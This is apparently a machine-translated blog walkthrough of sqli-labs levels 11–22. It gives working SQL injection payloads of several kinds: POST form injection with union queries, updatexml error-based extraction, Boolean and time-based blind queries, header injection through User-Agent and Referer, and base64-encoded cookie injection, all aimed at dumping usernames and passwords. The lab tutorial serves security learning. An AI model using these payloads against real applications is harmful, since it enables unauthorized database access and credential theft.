当前位置:网站首页>SQL injection SQL lab 11~22
SQL injection SQL lab 11~22
2022-07-04 06:12:00 【Game programming】
Catalog
Less-11 be based on ' Of POST Type injection
Start post Yes
Try the universal password first , It is found that there is a direct echo , It shows that this is an injection point , And it is closed with single quotation marks

Next, follow the process , We need to judge the number of fields , But by GET Type injection ?id= data order by n --+ I can't
I'm going to use it directly here union The joint query , That is to view the field echo
-1' union select 1,2 # 
When the query 1,2 Return to normal ,3 It's a mistake , That is, there are two fields , Of course, we obviously know that these two can be echoed .
Directly in username The following statements can be injected into the form normally , Let's not go into details
-1' union select 1,database() #-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security' # It is inconvenient to note directly on the form , stay Hackbar Inside POST Pass on the reference
But first look at the name of the form , Here is uname and passwd

Either way
uname=-1' union select 1,database() #&passwd=1
uname=1&passwd=-1' union select 1,database() #
Less-12 be based on ") Of POST Type injection
Double quotation marks and parentheses close , The rest is the same as above

Less-13 be based on ') Error echo injection
Enter this to turn blue , That is the ') The closure of , But there is no echo of correct data
1') or 1=1 #
There is an error prompt after trying , Error reporting injection try , Direct use hackbar 了
updatexml function
uname=-1') and updatexml(1,concat(0x7e,(select database()),0x7e),1) #&passwd=1 Blast the name of the warehouse uname=-1') and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema ='security' limit 3,1),0x7e),1) #&passwd=1 Name of Pop Watch uname=-1') and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema ='security' and table_name='users' limit 1,1),0x7e),1) #&passwd=1 Pop field uname=-1') and updatexml(1,concat(0x7e,(select concat(username,0x3a,password) from security.users limit 1,1),0x7e),1) #&passwd=1 Check the field content , here 0x3a It's a colon Less-14 be based on " Error echo injection
Double quotes closed , The rest is the same as above
Less-15 Based on Boolean / Time delay single quotes POST Blind note
Try the universal password again and again , It's a single quote closure

There is no wrong information this time , Only the blue and red prompts represent Boolean true and false, Boolean blind note
Note here blind note and GET Different , use or To judge the following equation
1' or length(database())=8 #uname=1' or length(database())=8 #&passwd=1I continued to try bp Blasting warehouse name , success ! I don't quite understand Look at my last article , Try a few times more
uname=1' or substr(database(),1,1)='s' #&passwd=1
Explosion meter :
uname=1' or substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e' #&passwd=1
Pop field :
uname=1' or substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),1,1)='u' #&passwd=1
Pop content :
uname=1' or substr((select username from security.users limit 0,1),1,1)='d' #&passwd=1
( The password is the same )
Less-16 Based on Boolean / Double quotes for time delay POST Blind note
This question is closed with double quotation marks and parentheses , Others and 15 Same question
Let's use time blindness here
To delay injection , It's fine too . It should be transformed into the form of universal password
1' or if(1,1,sleep(5)) # -------> Such a statement becomes 1' or 1=1 -- # Equivalent to omnipotent statement
( Return directly when it's right , Wait when it's not right 5 Second )Common judgment sentences :
' or if(1,1,sleep(5)) -- #
" or if(1,1, sleep(5)) -- #
) or if(1,1, sleep(5)) -- #
') or if(1,1, sleep(5)) -- #
") or if(1,1, sleep(5)) -- #
uname=1") or if(length(database())=8,1,sleep(1)) #&passwd=1uname=1") or if(substr((select database()),1,1)='s',1,sleep(1)) #&passwd=1uname=1") or if(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e',1,sleep(1)) #&passwd=1uname=1") or if(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),1,1)='u',1,sleep(1)) #&passwd=1uname=1") or if(substr((select username from security.users limit 0,1),1,1)='d',1,sleep(1)) #&passwd=1Less-17 be based on ’ Password error injection
The scene says that it is to reset the password , Default known user name
Insert

uname=admin&passwd=1' or 1='1 It can be judged that the quotation mark is closed and there is an error message , We use error injection
uname=admin&passwd=1' and updatexml(1,concat(0x7e,database(),0x7e),1) #The rest is the same as 13 topic
Less-18 be based on ' Of User-Agent Header error injection
The injection point is not in the form , The background of this question is the injection after registration , Enter the correct value and display User-Agent

stay user-agent
hackbar Or capture packets and report errors
Note here that annotators cannot be used , Because in the source code user-agent There is more information later , Direct comments are wrong
So we use and ' Just close the single quotation mark behind it
1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '
Less-19 be based on ' Of Referer Header error injection
The injection point is also changed in referer Error injection , Method is the same as above.

Less-20 be based on ' Of Cookie Header error injection
This question is in cookie Inject user information into , There is a correct echo
uname=1' union select 1,2,3 -- #
Directly inject the most common characters
uname=1' union select 1,2,database() #uname=1' union select 1,2,group_concat(table_name)from information_schema.tables where table_schema='security' #uname=1' union select 1,2,group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users' #uname=1' union select 1,2,group_concat(username,0x3a,password)from security.users #Less-21 be based on base64 Encode single quotation marks and parentheses Cookie Inject
be supposed to cookie Of uname need base64 code , I didn't find any clues , Follow along
1') union select 1,2,3-- #
MScpIHVuaW9uIHNlbGVjdCAxLDIsMy0tICM=

Less-22 be based on base64 Encoded and double quoted Cookie Inject
Compared with the above question , Use double quotation marks to close
1" union select 1,2,3 #
MSIgdW5pb24gc2VsZWN0IDEsMiwzICM=

author :ThnPkm
this paper [ SQL Inject sql-lab 11~22 ] Included in Game programming ️ - database , A game development favorite ~
If the picture is not displayed for a long time , Please use Chrome browser .
边栏推荐
- Internet of things protocol ZigBee ZigBee module uses the concept of protocol stack
- 746. Climb stairs with minimum cost
- MySQL的information_schema数据库
- 一键过滤选择百度网盘文件
- MySQL installation and configuration
- ES6 modularization
- 如何展开Collapse 的所有折叠面板
- Uninstall Google drive hard drive - you must exit the program to uninstall
- How much computing power does transformer have
- 740. Delete and get points
猜你喜欢

复合非线性反馈控制(二)

分布式CAP理论

How to solve the component conflicts caused by scrollbars in GridView

(4) Canal multi instance use

How to choose the middle-aged crisis of the testing post? Stick to it or find another way out? See below

注释与注解

input显示当前选择的图片

一键过滤选择百度网盘文件

Abap:ooalv realizes the function of adding, deleting, modifying and checking

Tf/pytorch/cafe-cv/nlp/ audio - practical demonstration of full ecosystem CPU deployment - Intel openvino tool suite course summary (Part 2)
随机推荐
JSON Web Token----JWT和傳統session登錄認證對比
Overview of relevant subclasses of beanfactorypostprocessor and beanpostprocessor
Grounding relay dd-1/60
Excel 比较日器
(4) Canal multi instance use
BeanFactoryPostProcessor 与 BeanPostProcessor 相关子类概述
QT QTableWidget 表格列置顶需求的思路和代码
el-select如何实现懒加载(带搜索功能)
How to avoid JVM memory leakage?
How to implement lazy loading in El select (with search function)
JS flattened array of number shape structure
Learning multi-level structural information for small organ segmentation
ES6 modularization
Tutle clock improved version
C语言中的函数(详解)
实用的小工具指令
FRP intranet penetration, reverse proxy
Notes and notes
Weekly summary (*63): about positive energy
冲击继电器JC-7/11/DC110V